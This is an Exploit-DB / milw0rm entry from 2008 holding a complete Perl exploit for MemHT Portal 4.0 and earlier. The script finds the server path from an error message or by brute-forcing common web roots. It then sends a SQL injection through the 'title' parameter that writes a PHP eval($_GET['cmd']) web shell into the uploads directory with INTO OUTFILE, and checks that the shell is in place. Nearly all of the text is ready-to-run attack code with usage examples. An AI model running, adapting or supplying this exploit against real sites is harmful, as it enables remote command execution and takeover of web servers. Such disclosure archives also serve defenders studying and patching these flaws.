Exploit-DB #7057
Description: MemHT Portal 4.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2008-11-08
Author: Ams

Exploit:
#!/usr/bin/perl

=about

 MemHT Portal <= 4.0 Perl exploit

 AUTHOR:
	Discovered and written by Ams
	ax330d [doggy] gmail [dot] com

 DESCRIPTION:
	Here we are able to make SQL-injection due to weak filtering.
	So, look at inc/inc_header.php lines ~ 74, where hides code
	$checktitle = (isset($_GET['title'])) ? urldecode(inCode($_GET['title'])) : "" ;
	We can easily bypass this check. And look again at lines
	~ 67 in inc/inc_fnctions.php, - this is not that best solution.
	
	This exploit provides simple shell.

 REQUIREMENTS:
	MySQL should be able to write to file
	Know full server path to portal
	
=cut

use strict;
use warnings;
use IO::Socket;

print "
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	  MemHT portal <= 4.0 Perl exploit
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	";

my $expl_url  = shift or &usage;
my $serv_path = shift || '-b';
my $def_shell = '/uploads/file/files.php';
# 	Simple concept shell
my $shell = '%253C%253Fphp%2520@eval%2528%2524_GET%255Bcmd%255D%2529%253B';

my @paths = qw(
	/var/www/htdocs /var/www/localhost/htdocs /var/www /var/wwww/hosting /var/www/html /var/www/vhosts
	/home/www  /home/httpd/vhosts
	/usr/local/apache/htdocs
	/www/htdocs
);

@paths = ( $serv_path ) unless $serv_path eq '-b';

exploit( $expl_url );

sub exploit {
	
	#	Defining vars.
	$_ = shift;
	$_ .= '/' unless substr($_, -1) eq '/';
	print "\n\tExploiting:\t $_\n";
	
	my($packet, $rcvd);
	my($prot, $host, $path, ) = m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?};
	
	#	Trying to get /lang/english.php to get server path
	$packet  = "POST $path/lang/english.php HTTP/1.1\r\n";
	$packet .= "Host: $host\r\n";
	$packet .= "Connection: Close\r\n";
	$packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
	$rcvd = send_pckt($host, $packet, 1);
	
	die "\n\tUnable to connect to $host!\n\n" unless $rcvd;
	
	if( $rcvd =~ /Undefined variable:/ ) {
		@paths = ($rcvd =~ m#\s+in\s+(.*?)${path}lang/english.php#);
		print "\n\tFound path:\t $paths[-1]\n";
	} else {
		print "\n\tStarting bruteforce...\n";
	}
	
	#	Some bruteforce here
	for $serv_path ( @paths ) {
		
		#	Poisoned request
		my $injection
			= "page=articles&id=-1&op=readArticle&title=one%2527%2520UNION+SELECT+1%2C2%2C%2527$shell%2527+INTO+OUTFILE+%2527$serv_path$path$def_shell%2527--\%2520";
		
		print "\n\tTesting:\t $serv_path$path$def_shell ...\n";
		$packet  = "GET $path/index.php?$injection HTTP/1.1\r\n";
		$packet .= "Host: $host\r\n";
		$packet .= "Connection: Close\r\n";
		$packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
		
		send_pckt($host, $packet, 1) or die "\n\tUnable to connect to http://$host!\n\n";
	}

	#	Checking for shell presence
	$packet  = "HEAD $path$def_shell HTTP/1.1\r\n";
	$packet .= "Host: $host\r\n";
	$packet .= "Connection: Close\r\n";
	$packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
	
	$rcvd = send_pckt($host, $packet, 1);
	if( ! $rcvd) {
		print "\n\tUnable to connect to $host\n\n";
		exit;
	}

	if( $rcvd =~ /200\s+OK/ ) {
		print "\n\tExploited:\t http://$host$path$def_shell\n\n";
	} else {
		print "\n\tExploiting failed.\n\n";
	}
	
}

sub send_pckt() {
		
	my $dat;
	my ($host, $packet, $ret) = @_;
	my $socket = IO::Socket::INET->new(
		Proto    => 'tcp',
		PeerAddr => $host,
		PeerPort => 80
	);
	if( ! $socket) {
		return 0;
	} else {
		
		print $socket $packet;
		if( $ret ) {
			local $/;
			$dat = <$socket>;
		}
		close $socket;
		return $dat;
	}
}

sub usage {
	print "\n\tUsage:\t$0 http://site.com [-b|full server path]

	By default exlpoit checks /lang/english.php for errors to get real path.
	If path could not be found exploit will bruteforce it ( or if used -b or none path is specified ).

	Example:\t$0 http://localhost/ /var/www/htdocs
			$0 http://localhost/ -b
			$0 http://localhost/\n\n";
	exit;
}

# milw0rm.com [2008-11-08]